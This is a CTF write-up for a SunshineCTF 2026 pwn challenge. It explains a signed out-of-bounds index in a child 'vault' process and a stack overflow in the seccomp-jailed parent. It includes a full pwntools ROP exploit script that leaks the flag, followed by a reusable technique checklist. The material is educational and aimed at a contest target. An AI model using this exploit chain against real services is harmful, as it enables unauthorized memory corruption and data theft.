$ cat writeup.md…
$ cat writeup.md…
sunshinectf2026
Task: forking pwn service (seccomp-jailed parent front desk + child vault over an XOR-obfuscated fd-3 socketpair) exposing a signed OOB slot index in the child's GET handler and a SUBMIT stack overflow in the parent. Solution: ROP the parent to invoke the obfuscating send helper with a body-carrying op-3 GET(-4) frame that reads the flag slot below the intended table, then flush the queued reply via RELAY.
The safe house processes reports and files notes for the field. Get past the front desk and into the vault.
English summary: An ELF64 x86-64 service (nc chal.sunshinectf.games 26007) forks into a
seccomp-jailed "front desk" (parent) that talks to a "vault" (child) over an internal
socket. The parent cannot read the flag itself; the flag is only reachable through the
child. Combine a logic bug and a memory-corruption bug to make the child leak the flag
back through the front desk.
0x400000), NX, Full RELRO, no stack canary.socketpair(AF_UNIX, SOCK_STREAM) then fork():
dup2'd to fd 3.0x405060, derived from getpid() via a
splitmix-style hash and computed before fork(), so both processes agree on it.fcn.00401be0 using this key.
We never need to know the key value.[op:1][len:2 big-endian][pad:1]
followed by len body bytes.fcn.00401c40, child send = fcn.00401d50 (address 0x401d50),
parent RELAY handler = fcn.00401f70, SUBMIT handler = fcn.00401ed0.The parent installs prctl(PR_SET_NO_NEW_PRIVS) + seccomp(SET_MODE_FILTER). Decoding
the 21-instruction BPF filter (x86_64 architecture enforced) shows the ONLY allowed
syscalls are: read(0), write(1), close(3), mmap(9), mprotect(10), brk(12),
rt_sigreturn(15), exit_group(231). Everything else → SECCOMP_RET_KILL_PROCESS.
=> The parent cannot open() the flag. The flag is reachable ONLY through the child vault.
PING, HELP, NOTE <idx> <text>, RELAY <op> [data], SUBMIT <size>, QUIT.
NOTE <idx> <text>: strncpy up to 63 bytes into a table at 0x40a180 (idx*0x40).
This gives attacker-controlled scratch memory at fixed, known addresses (and strncpy
NUL-pads, so a short string is a clean NUL-terminated buffer).RELAY <op>: op restricted to 1..4 and the frame len is HARD-CODED to 0 (no body).
Its reply-reader reads from fd 3, deobfuscates with the runtime key, and prints the body.
=> A legit RELAY can never send a body-carrying op-3 frame — the front door is intentionally restrictive.flag.txt into a slot table at 0x405080
(slot0: type=2, fd=flag; slots1..3: type=2, fd=/dev/null). Each slot is 0x40c bytes.0x4060b0, and crucially:
0x4060b0 = 0x405080 + 4 * 0x40c (exactly index +4 relative to the startup table).cmp eax, 0xf ; jg range — it rejects only index > 15.
A negative index passes. Requires body length > 3 (>= 4 bytes). Then
slot = 0x4060b0 + index*0x40c; if slot.type == 2 it does pread(fd, buf, 0x400, 0)
and sends the bytes back over fd 3.jg on 15).
index = -4 maps to 0x4060b0 - 4*0x40c = 0x405080 = the flag slot below the intended
table → pread(flag_fd) → the flag is returned over fd 3.SUBMIT <size> reads (size & 0xff) bytes
(movzx edx, bl) into a 64-byte stack buffer (sub rsp, 0x40). Saved RIP sits at
offset 72 → full RIP control. No canary, no PIE.RELAY can only emit len=0 frames, so a body-carrying op-3 request cannot be sent through
normal commands. The SUBMIT stack overflow is used to ROP the parent into manually calling
the child-send helper with the malicious GET(-4) frame.
Plan: use NOTE to plant the op-3 body and a strlen helper string at fixed addresses,
then ROP the parent (via SUBMIT overflow) to call the obfuscating send helper
fcn.00401d50(op=3, body, len=4). Finally issue RELAY 1 so the parent reads and
deobfuscates the queued reply and prints the flag.
pop rdx; retThere is no clean pop rdx; ret. Available gadgets (no-PIE, fixed addresses):
pop rdi ; ret → 0x401529pop rsi ; pop r15 ; ret → 0x401527pop rbx ; mov rdx, rax ; jmp write@plt → 0x401c31 (the key gadget)rdx (the frame length = 4) is obtained as follows:
strlen@plt on a 4-char NUL-terminated NOTE string → rax = 4.pop rbx ; mov rdx, rax ; jmp write@plt sets rdx = rax = 4 and performs a
harmless write(1, body, 4). The write syscall clobbers only rcx/r11, so
rdx = 4 survives the syscall, leaving it correct for the next call.fcn.00401d50(rdi=3 (op=3), rsi=body_ptr, rdx=4). This helper XOR-obfuscates the
frame with the runtime key internally and writes it to fd 3 — so no key knowledge or
leak is required.After the send helper runs, return to the parent command loop (0x4014a2). By then the
child has pread the flag and queued the reply on fd 3. Sending RELAY 1 makes the parent
read + deobfuscate + print the pending reply — the flag.
The whole chain is deterministic regardless of the per-fork getpid-derived key. Verified 5/5 locally and first-try on the live remote.
#!/usr/bin/env python3 from pwn import * import sys, time, re context.arch = 'amd64' HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1' PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 26007 e = ELF('service', checksec=False) # --- fixed addresses (no PIE) --- D50 = 0x401d50 # fcn.00401d50(edi=op, rsi=body, edx=len) -> obfuscate + write to fd3 NOTE_TBL = 0x40a180 # NOTE idx0 buffer (attacker-controlled scratch) LOOP = 0x4014a2 # re-enter the parent command loop POP_RDI = 0x401529 # pop rdi ; ret POP_RSI_R15 = 0x401527 # pop rsi ; pop r15 ; ret RDX_RAX_W = 0x401c31 # pop rbx ; mov rdx, rax ; jmp write@plt strlen = e.plt['strlen'] LEN4_STR = NOTE_TBL + 0x40 # NOTE idx1: 4-char no-NUL string -> strlen == 4 IDX_BODY = NOTE_TBL # NOTE idx0: op-3 GET body = int32(-4) little-endian r = remote(HOST, PORT, timeout=10) r.recvuntil(b'sh> ') # Plant GET index body -4 at NOTE idx0 r.send(b'NOTE 0 ' + b'\xfc\xff\xff\xff' + b'\n') r.recvuntil(b'sh> ') # Plant a 4-char string at NOTE idx1 (strncpy NUL-pads the rest) -> strlen == 4 r.send(b'NOTE 1 ' + b'AAAA' + b'\n') r.recvuntil(b'sh> ') # ROP chain: # strlen(LEN4_STR) -> rax=4 # write(1, IDX_BODY, rax) via the pop-rbx/mov-rdx-rax gadget -> sets rdx=4 (survives syscall) # D50(op=3, body=IDX_BODY, len=4) -> child GET(-4) reads flag slot, queues reply on fd3 # return to command loop rop = b'' rop += p64(POP_RDI) + p64(LEN4_STR) rop += p64(strlen) rop += p64(POP_RDI) + p64(1) rop += p64(POP_RSI_R15) + p64(IDX_BODY) + p64(0) rop += p64(RDX_RAX_W) + p64(0) # pop rbx(0); mov rdx,rax(4); jmp write; write rets on rop += p64(POP_RDI) + p64(3) rop += p64(POP_RSI_R15) + p64(IDX_BODY) + p64(0) rop += p64(D50) rop += p64(LOOP) r.sendline(b'SUBMIT 240') r.recvuntil(b'GO') payload = b'A'*72 + rop # saved RIP at offset 72 assert len(payload) <= 255, len(payload) payload = payload.ljust(240, b'\x90')[:240] r.send(payload) time.sleep(0.7) # Flush the queued vault reply through the front desk. r.sendline(b'RELAY 1') time.sleep(0.7) r.sendline(b'RELAY 1') # extra nudge for remote timing time.sleep(0.5) data = r.recvrepeat(2.5) print(data) m = re.search(rb'sun\{[^}]*\}', data) # flag format sun{...}; value REDACTED here if m: print("FLAG:", m.group().decode()) r.close()
Result: the vault leaks the flag back through the front desk in the format sun{REDACTED}.
Use this technique when:
socketpair(AF_UNIX, SOCK_STREAM)
with one end dup2'd to a fixed fd (here fd 3) — the flag lives in the child "vault".open/openat (decode the BPF:
only read/write/close/mmap/mprotect/brk/rt_sigreturn/exit_group allowed) — the flag must
come through the other process.cmp eax,0xf ; jg);
a negative index reaches memory below the intended table. Compute the arithmetic:
store_base = startup_base + N*slot_size means index -N hits the startup (flag) slot.SUBMIT <size> / read primitive with size & 0xff into a small fixed stack buffer,
no canary, no PIE → straightforward ROP with saved-RIP at a small fixed offset.pop rdx; ret: set rdx via strlen (→ rax) then a mov rdx, rax gadget, and note
that a following syscall clobbers only rcx/r11, so rdx survives for the next call.RELAY) to flush
and deobfuscate the queued response.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar